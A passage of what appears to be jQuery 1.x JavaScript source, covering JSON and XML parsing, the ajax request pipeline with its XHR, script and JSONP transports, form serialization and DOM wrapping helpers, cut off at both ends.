fnOver ); }, bind: function( types, data, fn ) { return this.on( types, null, data, fn ); }, unbind: function( types, fn ) { return this.off( types, null, fn ); }, delegate: function( selector, types, data, fn ) { return this.on( types, selector, data, fn ); }, undelegate: function( selector, types, fn ) { // ( namespace ) or ( selector, types [, fn] ) return arguments.length === 1 ? this.off( selector, "**" ) : this.off( types, selector || "**", fn ); } }); var nonce = jQuery.now(); var rquery = (/\?/); var rvalidtokens = /(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g; jQuery.parseJSON = function( data ) { // Attempt to parse using the native JSON parser first if ( window.JSON && window.JSON.parse ) { // Support: Android 2.3 // Workaround failure to string-cast null input return window.JSON.parse( data + "" ); } var requireNonComma, depth = null, str = jQuery.trim( data + "" ); // Guard against invalid (and possibly dangerous) input by ensuring that nothing remains // after removing valid tokens return str && !jQuery.trim( str.replace( rvalidtokens, function( token, comma, open, close ) { // Force termination if we see a misplaced comma if ( requireNonComma && comma ) { depth = 0; } // Perform no more replacements after returning to outermost depth if ( depth === 0 ) { return token; } // Commas must not follow "[", "{", or "," requireNonComma = open || comma; // Determine new depth // array/object open ("[" or "{"): depth += true - false (increment) // array/object close ("]" or "}"): depth += false - true (decrement) // other cases ("," or primitive): depth += true - true (numeric cast) depth += !close - !open; // Remove this token return ""; }) ) ? ( Function( "return " + str ) )() : jQuery.error( "Invalid JSON: " + data ); }; // Cross-browser xml parsing jQuery.parseXML = function( data ) { var xml, tmp; if ( !data || typeof data !== "string" ) { return null; } try { if ( window.DOMParser ) { // Standard tmp = new DOMParser(); xml = tmp.parseFromString( data, "text/xml" ); } else { // IE xml = new ActiveXObject( "Microsoft.XMLDOM" ); xml.async = "false"; xml.loadXML( data ); } } catch( e ) { xml = undefined; } if ( !xml || !xml.documentElement || xml.getElementsByTagName( "parsererror" ).length ) { jQuery.error( "Invalid XML: " + data ); } return xml; }; var // Document location ajaxLocParts, ajaxLocation, rhash = /#.*$/, rts = /([?&])_=[^&]*/, rheaders = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg, // IE leaves an \r character at EOL // #7653, #8125, #8152: local protocol detection rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/, rnoContent = /^(?:GET|HEAD)$/, rprotocol = /^\/\//, rurl = /^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/, /* Prefilters * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example) * 2) These are called: * - BEFORE asking for a transport * - AFTER param serialization (s.data is a string if s.processData is true) * 3) key is the dataType * 4) the catchall symbol "*" can be used * 5) execution will start with transport dataType and THEN continue down to "*" if needed */ prefilters = {}, /* Transports bindings * 1) key is the dataType * 2) the catchall symbol "*" can be used * 3) selection will start with transport dataType and THEN go to "*" if needed */ transports = {}, // Avoid comment-prolog char sequence (#10098); must appease lint and evade compression allTypes = "*/".concat("*"); // #8138, IE may throw an exception when accessing // a field from window.location if document.domain has been set try { ajaxLocation = location.href; } catch( e ) { // Use the href attribute of an A element // since IE will modify it given document.location ajaxLocation = document.createElement( "a" ); ajaxLocation.href = ""; ajaxLocation = ajaxLocation.href; } // Segment location into parts ajaxLocParts = rurl.exec( ajaxLocation.toLowerCase() ) || []; // Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport function addToPrefiltersOrTransports( structure ) { // dataTypeExpression is optional and defaults to "*" return function( dataTypeExpression, func ) { if ( typeof dataTypeExpression !== "string" ) { func = dataTypeExpression; dataTypeExpression = "*"; } var dataType, i = 0, dataTypes = dataTypeExpression.toLowerCase().match( rnotwhite ) || []; if ( jQuery.isFunction( func ) ) { // For each dataType in the dataTypeExpression while ( (dataType = dataTypes[i++]) ) { // Prepend if requested if ( dataType.charAt( 0 ) === "+" ) { dataType = dataType.slice( 1 ) || "*"; (structure[ dataType ] = structure[ dataType ] || []).unshift( func ); // Otherwise append } else { (structure[ dataType ] = structure[ dataType ] || []).push( func ); } } } }; } // Base inspection function for prefilters and transports function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) { var inspected = {}, seekingTransport = ( structure === transports ); function inspect( dataType ) { var selected; inspected[ dataType ] = true; jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) { var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR ); if ( typeof dataTypeOrTransport === "string" && !seekingTransport && !inspected[ dataTypeOrTransport ] ) { options.dataTypes.unshift( dataTypeOrTransport ); inspect( dataTypeOrTransport ); return false; } else if ( seekingTransport ) { return !( selected = dataTypeOrTransport ); } }); return selected; } return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" ); } // A special extend for ajax options // that takes "flat" options (not to be deep extended) // Fixes #9887 function ajaxExtend( target, src ) { var deep, key, flatOptions = jQuery.ajaxSettings.flatOptions || {}; for ( key in src ) { if ( src[ key ] !== undefined ) { ( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ]; } } if ( deep ) { jQuery.extend( true, target, deep ); } return target; } /* Handles responses to an ajax request: * - finds the right dataType (mediates between content-type and expected dataType) * - returns the corresponding response */ function ajaxHandleResponses( s, jqXHR, responses ) { var firstDataType, ct, finalDataType, type, contents = s.contents, dataTypes = s.dataTypes; // Remove auto dataType and get content-type in the process while ( dataTypes[ 0 ] === "*" ) { dataTypes.shift(); if ( ct === undefined ) { ct = s.mimeType || jqXHR.getResponseHeader("Content-Type"); } } // Check if we're dealing with a known content-type if ( ct ) { for ( type in contents ) { if ( contents[ type ] && contents[ type ].test( ct ) ) { dataTypes.unshift( type ); break; } } } // Check to see if we have a response for the expected dataType if ( dataTypes[ 0 ] in responses ) { finalDataType = dataTypes[ 0 ]; } else { // Try convertible dataTypes for ( type in responses ) { if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[0] ] ) { finalDataType = type; break; } if ( !firstDataType ) { firstDataType = type; } } // Or just use first one finalDataType = finalDataType || firstDataType; } // If we found a dataType // We add the dataType to the list if needed // and return the corresponding response if ( finalDataType ) { if ( finalDataType !== dataTypes[ 0 ] ) { dataTypes.unshift( finalDataType ); } return responses[ finalDataType ]; } } /* Chain conversions given the request and the original response * Also sets the responseXXX fields on the jqXHR instance */ function ajaxConvert( s, response, jqXHR, isSuccess ) { var conv2, current, conv, tmp, prev, converters = {}, // Work with a copy of dataTypes in case we need to modify it for conversion dataTypes = s.dataTypes.slice(); // Create converters map with lowercased keys if ( dataTypes[ 1 ] ) { for ( conv in s.converters ) { converters[ conv.toLowerCase() ] = s.converters[ conv ]; } } current = dataTypes.shift(); // Convert to each sequential dataType while ( current ) { if ( s.responseFields[ current ] ) { jqXHR[ s.responseFields[ current ] ] = response; } // Apply the dataFilter if provided if ( !prev && isSuccess && s.dataFilter ) { response = s.dataFilter( response, s.dataType ); } prev = current; current = dataTypes.shift(); if ( current ) { // There's only work to do if current dataType is non-auto if ( current === "*" ) { current = prev; // Convert response if prev dataType is non-auto and differs from current } else if ( prev !== "*" && prev !== current ) { // Seek a direct converter conv = converters[ prev + " " + current ] || converters[ "* " + current ]; // If none found, seek a pair if ( !conv ) { for ( conv2 in converters ) { // If conv2 outputs current tmp = conv2.split( " " ); if ( tmp[ 1 ] === current ) { // If prev can be converted to accepted input conv = converters[ prev + " " + tmp[ 0 ] ] || converters[ "* " + tmp[ 0 ] ]; if ( conv ) { // Condense equivalence converters if ( conv === true ) { conv = converters[ conv2 ]; // Otherwise, insert the intermediate dataType } else if ( converters[ conv2 ] !== true ) { current = tmp[ 0 ]; dataTypes.unshift( tmp[ 1 ] ); } break; } } } } // Apply converter (if not an equivalence) if ( conv !== true ) { // Unless errors are allowed to bubble, catch and return them if ( conv && s[ "throws" ] ) { response = conv( response ); } else { try { response = conv( response ); } catch ( e ) { return { state: "parsererror", error: conv ? e : "No conversion from " + prev + " to " + current }; } } } } } } return { state: "success", data: response }; } jQuery.extend({ // Counter for holding the number of active queries active: 0, // Last-Modified header cache for next request lastModified: {}, etag: {}, ajaxSettings: { url: ajaxLocation, type: "GET", isLocal: rlocalProtocol.test( ajaxLocParts[ 1 ] ), global: true, processData: true, async: true, contentType: "application/x-www-form-urlencoded; charset=UTF-8", /* timeout: 0, data: null, dataType: null, username: null, password: null, cache: null, throws: false, traditional: false, headers: {}, */ accepts: { "*": allTypes, text: "text/plain", html: "text/html", xml: "application/xml, text/xml", json: "application/json, text/javascript" }, contents: { xml: /xml/, html: /html/, json: /json/ }, responseFields: { xml: "responseXML", text: "responseText", json: "responseJSON" }, // Data converters // Keys separate source (or catchall "*") and destination types with a single space converters: { // Convert anything to text "* text": String, // Text to html (true = no transformation) "text html": true, // Evaluate text as a json expression "text json": jQuery.parseJSON, // Parse text as xml "text xml": jQuery.parseXML }, // For options that shouldn't be deep extended: // you can add your own custom options here if // and when you create one that shouldn't be // deep extended (see ajaxExtend) flatOptions: { url: true, context: true } }, // Creates a full fledged settings object into target // with both ajaxSettings and settings fields. // If target is omitted, writes into ajaxSettings. ajaxSetup: function( target, settings ) { return settings ? // Building a settings object ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) : // Extending ajaxSettings ajaxExtend( jQuery.ajaxSettings, target ); }, ajaxPrefilter: addToPrefiltersOrTransports( prefilters ), ajaxTransport: addToPrefiltersOrTransports( transports ), // Main method ajax: function( url, options ) { // If url is an object, simulate pre-1.5 signature if ( typeof url === "object" ) { options = url; url = undefined; } // Force options to be an object options = options || {}; var // Cross-domain detection vars parts, // Loop variable i, // URL without anti-cache param cacheURL, // Response headers as string responseHeadersString, // timeout handle timeoutTimer, // To know if global events are to be dispatched fireGlobals, transport, // Response headers responseHeaders, // Create the final options object s = jQuery.ajaxSetup( {}, options ), // Callbacks context callbackContext = s.context || s, // Context for global events is callbackContext if it is a DOM node or jQuery collection globalEventContext = s.context && ( callbackContext.nodeType || callbackContext.jquery ) ? jQuery( callbackContext ) : jQuery.event, // Deferreds deferred = jQuery.Deferred(), completeDeferred = jQuery.Callbacks("once memory"), // Status-dependent callbacks statusCode = s.statusCode || {}, // Headers (they are sent all at once) requestHeaders = {}, requestHeadersNames = {}, // The jqXHR state state = 0, // Default abort message strAbort = "canceled", // Fake xhr jqXHR = { readyState: 0, // Builds headers hashtable if needed getResponseHeader: function( key ) { var match; if ( state === 2 ) { if ( !responseHeaders ) { responseHeaders = {}; while ( (match = rheaders.exec( responseHeadersString )) ) { responseHeaders[ match[1].toLowerCase() ] = match[ 2 ]; } } match = responseHeaders[ key.toLowerCase() ]; } return match == null ? null : match; }, // Raw string getAllResponseHeaders: function() { return state === 2 ? responseHeadersString : null; }, // Caches the header setRequestHeader: function( name, value ) { var lname = name.toLowerCase(); if ( !state ) { name = requestHeadersNames[ lname ] = requestHeadersNames[ lname ] || name; requestHeaders[ name ] = value; } return this; }, // Overrides response content-type header overrideMimeType: function( type ) { if ( !state ) { s.mimeType = type; } return this; }, // Status-dependent callbacks statusCode: function( map ) { var code; if ( map ) { if ( state < 2 ) { for ( code in map ) { // Lazy-add the new callback in a way that preserves old ones statusCode[ code ] = [ statusCode[ code ], map[ code ] ]; } } else { // Execute the appropriate callbacks jqXHR.always( map[ jqXHR.status ] ); } } return this; }, // Cancel the request abort: function( statusText ) { var finalText = statusText || strAbort; if ( transport ) { transport.abort( finalText ); } done( 0, finalText ); return this; } }; // Attach deferreds deferred.promise( jqXHR ).complete = completeDeferred.add; jqXHR.success = jqXHR.done; jqXHR.error = jqXHR.fail; // Remove hash character (#7531: and string promotion) // Add protocol if not provided (#5866: IE7 issue with protocol-less urls) // Handle falsy url in the settings object (#10093: consistency with old signature) // We also use the url parameter if available s.url = ( ( url || s.url || ajaxLocation ) + "" ).replace( rhash, "" ).replace( rprotocol, ajaxLocParts[ 1 ] + "//" ); // Alias method option to type as per ticket #12004 s.type = options.method || options.type || s.method || s.type; // Extract dataTypes list s.dataTypes = jQuery.trim( s.dataType || "*" ).toLowerCase().match( rnotwhite ) || [ "" ]; // A cross-domain request is in order when we have a protocol:host:port mismatch if ( s.crossDomain == null ) { parts = rurl.exec( s.url.toLowerCase() ); s.crossDomain = !!( parts && ( parts[ 1 ] !== ajaxLocParts[ 1 ] || parts[ 2 ] !== ajaxLocParts[ 2 ] || ( parts[ 3 ] || ( parts[ 1 ] === "http:" ? "80" : "443" ) ) !== ( ajaxLocParts[ 3 ] || ( ajaxLocParts[ 1 ] === "http:" ? "80" : "443" ) ) ) ); } // Convert data if not already a string if ( s.data && s.processData && typeof s.data !== "string" ) { s.data = jQuery.param( s.data, s.traditional ); } // Apply prefilters inspectPrefiltersOrTransports( prefilters, s, options, jqXHR ); // If request was aborted inside a prefilter, stop there if ( state === 2 ) { return jqXHR; } // We can fire global events as of now if asked to // Don't fire events if jQuery.event is undefined in an AMD-usage scenario (#15118) fireGlobals = jQuery.event && s.global; // Watch for a new set of requests if ( fireGlobals && jQuery.active++ === 0 ) { jQuery.event.trigger("ajaxStart"); } // Uppercase the type s.type = s.type.toUpperCase(); // Determine if request has content s.hasContent = !rnoContent.test( s.type ); // Save the URL in case we're toying with the If-Modified-Since // and/or If-None-Match header later on cacheURL = s.url; // More options handling for requests with no content if ( !s.hasContent ) { // If data is available, append data to url if ( s.data ) { cacheURL = ( s.url += ( rquery.test( cacheURL ) ? "&" : "?" ) + s.data ); // #9682: remove data so that it's not used in an eventual retry delete s.data; } // Add anti-cache in url if needed if ( s.cache === false ) { s.url = rts.test( cacheURL ) ? // If there is already a '_' parameter, set its value cacheURL.replace( rts, "$1_=" + nonce++ ) : // Otherwise add one to the end cacheURL + ( rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + nonce++; } } // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. if ( s.ifModified ) { if ( jQuery.lastModified[ cacheURL ] ) { jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] ); } if ( jQuery.etag[ cacheURL ] ) { jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] ); } } // Set the correct header, if data is being sent if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) { jqXHR.setRequestHeader( "Content-Type", s.contentType ); } // Set the Accepts header for the server, depending on the dataType jqXHR.setRequestHeader( "Accept", s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[0] ] ? s.accepts[ s.dataTypes[0] ] + ( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) : s.accepts[ "*" ] ); // Check for headers option for ( i in s.headers ) { jqXHR.setRequestHeader( i, s.headers[ i ] ); } // Allow custom headers/mimetypes and early abort if ( s.beforeSend && ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || state === 2 ) ) { // Abort if not done already and return return jqXHR.abort(); } // aborting is no longer a cancellation strAbort = "abort"; // Install callbacks on deferreds for ( i in { success: 1, error: 1, complete: 1 } ) { jqXHR[ i ]( s[ i ] ); } // Get transport transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR ); // If no transport, we auto-abort if ( !transport ) { done( -1, "No Transport" ); } else { jqXHR.readyState = 1; // Send global event if ( fireGlobals ) { globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] ); } // Timeout if ( s.async && s.timeout > 0 ) { timeoutTimer = setTimeout(function() { jqXHR.abort("timeout"); }, s.timeout ); } try { state = 1; transport.send( requestHeaders, done ); } catch ( e ) { // Propagate exception as error if not done if ( state < 2 ) { done( -1, e ); // Simply rethrow otherwise } else { throw e; } } } // Callback for when everything is done function done( status, nativeStatusText, responses, headers ) { var isSuccess, success, error, response, modified, statusText = nativeStatusText; // Called once if ( state === 2 ) { return; } // State is "done" now state = 2; // Clear timeout if it exists if ( timeoutTimer ) { clearTimeout( timeoutTimer ); } // Dereference transport for early garbage collection // (no matter how long the jqXHR object will be used) transport = undefined; // Cache response headers responseHeadersString = headers || ""; // Set readyState jqXHR.readyState = status > 0 ? 4 : 0; // Determine if successful isSuccess = status >= 200 && status < 300 || status === 304; // Get response data if ( responses ) { response = ajaxHandleResponses( s, jqXHR, responses ); } // Convert no matter what (that way responseXXX fields are always set) response = ajaxConvert( s, response, jqXHR, isSuccess ); // If successful, handle type chaining if ( isSuccess ) { // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. if ( s.ifModified ) { modified = jqXHR.getResponseHeader("Last-Modified"); if ( modified ) { jQuery.lastModified[ cacheURL ] = modified; } modified = jqXHR.getResponseHeader("etag"); if ( modified ) { jQuery.etag[ cacheURL ] = modified; } } // if no content if ( status === 204 || s.type === "HEAD" ) { statusText = "nocontent"; // if not modified } else if ( status === 304 ) { statusText = "notmodified"; // If we have data, let's convert it } else { statusText = response.state; success = response.data; error = response.error; isSuccess = !error; } } else { // We extract error from statusText // then normalize statusText and status for non-aborts error = statusText; if ( status || !statusText ) { statusText = "error"; if ( status < 0 ) { status = 0; } } } // Set data for the fake xhr object jqXHR.status = status; jqXHR.statusText = ( nativeStatusText || statusText ) + ""; // Success/Error if ( isSuccess ) { deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] ); } else { deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] ); } // Status-dependent callbacks jqXHR.statusCode( statusCode ); statusCode = undefined; if ( fireGlobals ) { globalEventContext.trigger( isSuccess ? "ajaxSuccess" : "ajaxError", [ jqXHR, s, isSuccess ? success : error ] ); } // Complete completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] ); if ( fireGlobals ) { globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] ); // Handle the global AJAX counter if ( !( --jQuery.active ) ) { jQuery.event.trigger("ajaxStop"); } } } return jqXHR; }, getJSON: function( url, data, callback ) { return jQuery.get( url, data, callback, "json" ); }, getScript: function( url, callback ) { return jQuery.get( url, undefined, callback, "script" ); } }); jQuery.each( [ "get", "post" ], function( i, method ) { jQuery[ method ] = function( url, data, callback, type ) { // shift arguments if data argument was omitted if ( jQuery.isFunction( data ) ) { type = type || callback; callback = data; data = undefined; } return jQuery.ajax({ url: url, type: method, dataType: type, data: data, success: callback }); }; }); jQuery._evalUrl = function( url ) { return jQuery.ajax({ url: url, type: "GET", dataType: "script", async: false, global: false, "throws": true }); }; jQuery.fn.extend({ wrapAll: function( html ) { if ( jQuery.isFunction( html ) ) { return this.each(function(i) { jQuery(this).wrapAll( html.call(this, i) ); }); } if ( this[0] ) { // The elements to wrap the target around var wrap = jQuery( html, this[0].ownerDocument ).eq(0).clone(true); if ( this[0].parentNode ) { wrap.insertBefore( this[0] ); } wrap.map(function() { var elem = this; while ( elem.firstChild && elem.firstChild.nodeType === 1 ) { elem = elem.firstChild; } return elem; }).append( this ); } return this; }, wrapInner: function( html ) { if ( jQuery.isFunction( html ) ) { return this.each(function(i) { jQuery(this).wrapInner( html.call(this, i) ); }); } return this.each(function() { var self = jQuery( this ), contents = self.contents(); if ( contents.length ) { contents.wrapAll( html ); } else { self.append( html ); } }); }, wrap: function( html ) { var isFunction = jQuery.isFunction( html ); return this.each(function(i) { jQuery( this ).wrapAll( isFunction ? html.call(this, i) : html ); }); }, unwrap: function() { return this.parent().each(function() { if ( !jQuery.nodeName( this, "body" ) ) { jQuery( this ).replaceWith( this.childNodes ); } }).end(); } }); jQuery.expr.filters.hidden = function( elem ) { // Support: Opera <= 12.12 // Opera reports offsetWidths and offsetHeights less than zero on some elements return elem.offsetWidth <= 0 && elem.offsetHeight <= 0 || (!support.reliableHiddenOffsets() && ((elem.style && elem.style.display) || jQuery.css( elem, "display" )) === "none"); }; jQuery.expr.filters.visible = function( elem ) { return !jQuery.expr.filters.hidden( elem ); }; var r20 = /%20/g, rbracket = /\[\]$/, rCRLF = /\r?\n/g, rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i, rsubmittable = /^(?:input|select|textarea|keygen)/i; function buildParams( prefix, obj, traditional, add ) { var name; if ( jQuery.isArray( obj ) ) { // Serialize array item. jQuery.each( obj, function( i, v ) { if ( traditional || rbracket.test( prefix ) ) { // Treat each array item as a scalar. add( prefix, v ); } else { // Item is non-scalar (array or object), encode its numeric index. buildParams( prefix + "[" + ( typeof v === "object" ? i : "" ) + "]", v, traditional, add ); } }); } else if ( !traditional && jQuery.type( obj ) === "object" ) { // Serialize object item. for ( name in obj ) { buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add ); } } else { // Serialize scalar item. add( prefix, obj ); } } // Serialize an array of form elements or a set of // key/values into a query string jQuery.param = function( a, traditional ) { var prefix, s = [], add = function( key, value ) { // If value is a function, invoke it and return its value value = jQuery.isFunction( value ) ? value() : ( value == null ? "" : value ); s[ s.length ] = encodeURIComponent( key ) + "=" + encodeURIComponent( value ); }; // Set traditional to true for jQuery <= 1.3.2 behavior. if ( traditional === undefined ) { traditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional; } // If an array was passed in, assume that it is an array of form elements. if ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) { // Serialize the form elements jQuery.each( a, function() { add( this.name, this.value ); }); } else { // If traditional, encode the "old" way (the way 1.3.2 or older // did it), otherwise encode params recursively. for ( prefix in a ) { buildParams( prefix, a[ prefix ], traditional, add ); } } // Return the resulting serialization return s.join( "&" ).replace( r20, "+" ); }; jQuery.fn.extend({ serialize: function() { return jQuery.param( this.serializeArray() ); }, serializeArray: function() { return this.map(function() { // Can add propHook for "elements" to filter or add form elements var elements = jQuery.prop( this, "elements" ); return elements ? jQuery.makeArray( elements ) : this; }) .filter(function() { var type = this.type; // Use .is(":disabled") so that fieldset[disabled] works return this.name && !jQuery( this ).is( ":disabled" ) && rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) && ( this.checked || !rcheckableType.test( type ) ); }) .map(function( i, elem ) { var val = jQuery( this ).val(); return val == null ? null : jQuery.isArray( val ) ? jQuery.map( val, function( val ) { return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; }) : { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; }).get(); } }); // Create the request object // (This is still attached to ajaxSettings for backward compatibility) jQuery.ajaxSettings.xhr = window.ActiveXObject !== undefined ? // Support: IE6+ function() { // XHR cannot access local files, always use ActiveX for that case return !this.isLocal && // Support: IE7-8 // oldIE XHR does not support non-RFC2616 methods (#13240) // See http://msdn.microsoft.com/en-us/library/ie/ms536648(v=vs.85).aspx // and http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9 // Although this check for six methods instead of eight // since IE also does not support "trace" and "connect" /^(get|post|head|put|delete|options)$/i.test( this.type ) && createStandardXHR() || createActiveXHR(); } : // For all other browsers, use the standard XMLHttpRequest object createStandardXHR; var xhrId = 0, xhrCallbacks = {}, xhrSupported = jQuery.ajaxSettings.xhr(); // Support: IE<10 // Open requests must be manually aborted on unload (#5280) // See https://support.microsoft.com/kb/2856746 for more info if ( window.attachEvent ) { window.attachEvent( "onunload", function() { for ( var key in xhrCallbacks ) { xhrCallbacks[ key ]( undefined, true ); } }); } // Determine support properties support.cors = !!xhrSupported && ( "withCredentials" in xhrSupported ); xhrSupported = support.ajax = !!xhrSupported; // Create transport if the browser can provide an xhr if ( xhrSupported ) { jQuery.ajaxTransport(function( options ) { // Cross domain only allowed if supported through XMLHttpRequest if ( !options.crossDomain || support.cors ) { var callback; return { send: function( headers, complete ) { var i, xhr = options.xhr(), id = ++xhrId; // Open the socket xhr.open( options.type, options.url, options.async, options.username, options.password ); // Apply custom fields if provided if ( options.xhrFields ) { for ( i in options.xhrFields ) { xhr[ i ] = options.xhrFields[ i ]; } } // Override mime type if needed if ( options.mimeType && xhr.overrideMimeType ) { xhr.overrideMimeType( options.mimeType ); } // X-Requested-With header // For cross-domain requests, seeing as conditions for a preflight are // akin to a jigsaw puzzle, we simply never set it to be sure. // (it can always be set on a per-request basis or even using ajaxSetup) // For same-domain requests, won't change header if already provided. if ( !options.crossDomain && !headers["X-Requested-With"] ) { headers["X-Requested-With"] = "XMLHttpRequest"; } // Set headers for ( i in headers ) { // Support: IE<9 // IE's ActiveXObject throws a 'Type Mismatch' exception when setting // request header to a null-value. // // To keep consistent with other XHR implementations, cast the value // to string and ignore `undefined`. if ( headers[ i ] !== undefined ) { xhr.setRequestHeader( i, headers[ i ] + "" ); } } // Do send the request // This may raise an exception which is actually // handled in jQuery.ajax (so no try/catch here) xhr.send( ( options.hasContent && options.data ) || null ); // Listener callback = function( _, isAbort ) { var status, statusText, responses; // Was never called and is aborted or complete if ( callback && ( isAbort || xhr.readyState === 4 ) ) { // Clean up delete xhrCallbacks[ id ]; callback = undefined; xhr.onreadystatechange = jQuery.noop; // Abort manually if needed if ( isAbort ) { if ( xhr.readyState !== 4 ) { xhr.abort(); } } else { responses = {}; status = xhr.status; // Support: IE<10 // Accessing binary-data responseText throws an exception // (#11426) if ( typeof xhr.responseText === "string" ) { responses.text = xhr.responseText; } // Firefox throws an exception when accessing // statusText for faulty cross-domain requests try { statusText = xhr.statusText; } catch( e ) { // We normalize with Webkit giving an empty statusText statusText = ""; } // Filter status for non standard behaviors // If the request is local and we have data: assume a success // (success with no data won't get notified, that's the best we // can do given current implementations) if ( !status && options.isLocal && !options.crossDomain ) { status = responses.text ? 200 : 404; // IE - #1450: sometimes returns 1223 when it should be 204 } else if ( status === 1223 ) { status = 204; } } } // Call complete if needed if ( responses ) { complete( status, statusText, responses, xhr.getAllResponseHeaders() ); } }; if ( !options.async ) { // if we're in sync mode we fire the callback callback(); } else if ( xhr.readyState === 4 ) { // (IE6 & IE7) if it's in cache and has been // retrieved directly we need to fire the callback setTimeout( callback ); } else { // Add to the list of active xhr callbacks xhr.onreadystatechange = xhrCallbacks[ id ] = callback; } }, abort: function() { if ( callback ) { callback( undefined, true ); } } }; } }); } // Functions to create xhrs function createStandardXHR() { try { return new window.XMLHttpRequest(); } catch( e ) {} } function createActiveXHR() { try { return new window.ActiveXObject( "Microsoft.XMLHTTP" ); } catch( e ) {} } // Install script dataType jQuery.ajaxSetup({ accepts: { script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript" }, contents: { script: /(?:java|ecma)script/ }, converters: { "text script": function( text ) { jQuery.globalEval( text ); return text; } } }); // Handle cache's special case and global jQuery.ajaxPrefilter( "script", function( s ) { if ( s.cache === undefined ) { s.cache = false; } if ( s.crossDomain ) { s.type = "GET"; s.global = false; } }); // Bind script tag hack transport jQuery.ajaxTransport( "script", function(s) { // This transport only deals with cross domain requests if ( s.crossDomain ) { var script, head = document.head || jQuery("head")[0] || document.documentElement; return { send: function( _, callback ) { script = document.createElement("script"); script.async = true; if ( s.scriptCharset ) { script.charset = s.scriptCharset; } script.src = s.url; // Attach handlers for all browsers script.onload = script.onreadystatechange = function( _, isAbort ) { if ( isAbort || !script.readyState || /loaded|complete/.test( script.readyState ) ) { // Handle memory leak in IE script.onload = script.onreadystatechange = null; // Remove the script if ( script.parentNode ) { script.parentNode.removeChild( script ); } // Dereference the script script = null; // Callback if not abort if ( !isAbort ) { callback( 200, "success" ); } } }; // Circumvent IE6 bugs with base elements (#2709 and #4378) by prepending // Use native DOM manipulation to avoid our domManip AJAX trickery head.insertBefore( script, head.firstChild ); }, abort: function() { if ( script ) { script.onload( undefined, true ); } } }; } }); var oldCallbacks = [], rjsonp = /(=)\?(?=&|$)|\?\?/; // Default jsonp settings jQuery.ajaxSetup({ jsonp: "callback", jsonpCallback: function() { var callback = oldCallbacks.pop() || ( jQuery.expando + "_" + ( nonce++ ) ); this[ callback ] = true; return callback; } }); // Detect, normalize options and install callbacks for jsonp requests jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) { var callbackName, overwritten, responseContainer, jsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ? "url" : typeof s.data === "string" && !( s.contentType || "" ).indexOf("application/x-www-form-urlencoded") && rjsonp.test( s.data ) && "data" ); // Handle iff the expected data type is "jsonp" or we have a parameter to set if ( jsonProp || s.dataTypes[ 0 ] === "jsonp" ) { // Get callback name, remembering preexisting value associated with it callbackName = s.jsonpCallback = jQuery.isFunction( s.jsonpCallback ) ? s.jsonpCallback() : s.jsonpCallback; // Insert callback into url or form data if ( jsonProp ) { s[ jsonProp ] = s[ jsonProp ].replace( rjsonp, "$1" + callbackName ); } else if ( s.jsonp !== false ) { s.url += ( rquery.test( s.url ) ? "&" : "?" ) + s.jsonp + "=" + callbackName; } // Use data converter to retrieve json after script execution s.converters["script json"] = function() { if ( !responseContainer ) { jQuery.error( callbackName + " was not called" ); } return responseContainer[ 0 ]; }; // force json dataType s.dataTypes[ 0 ] = "json"; // Install callback overwritten = window[ callbackName ]; window[ callbackName ] = function() { responseContainer = arguments; }; // Clean-up function (fires after converters) jqXHR.always(function() { // Restore preexisting value window[ callbackName ] = overwritten; // Save back as free if ( s[ callbackName ] ) { // make sure that re-using the options doesn't screw things around s.jsonpCallback = originalSettings.jsonpCallback; // save the callback name for future use oldCallbacks.push( callbackName ); } // Call if it was a function and we have a response if ( responseContainer && jQuery.isFunction( overwritten ) ) { overwritten( responseContainer[ 0 ] ); } responseContainer = overwritten = undefined; }); // Delegate to script return "script"; } }); // data: string of html // context (optional): If specified, the fragment will be created in this context, defaults to document // keepScripts (optional): If true, will include scripts passed in the html string jQuery.parseHTML = function( data, context, keepScripts ) { if ( !data || typeof data !== "string" ) { return null; } if ( typeof context === "boolean" ) { keepScripts = context; context = false; } context = context || document; var parsed = rsingleTag.exec( data ), scripts = !keepScripts && []; // Single tag if ( parsed ) { return [ context.createElement( parsed[1] ) ]; } parsed = jQuery.buildFragment( [ data ], context, scripts ); if ( scripts && scripts.length ) { jQuery( scripts 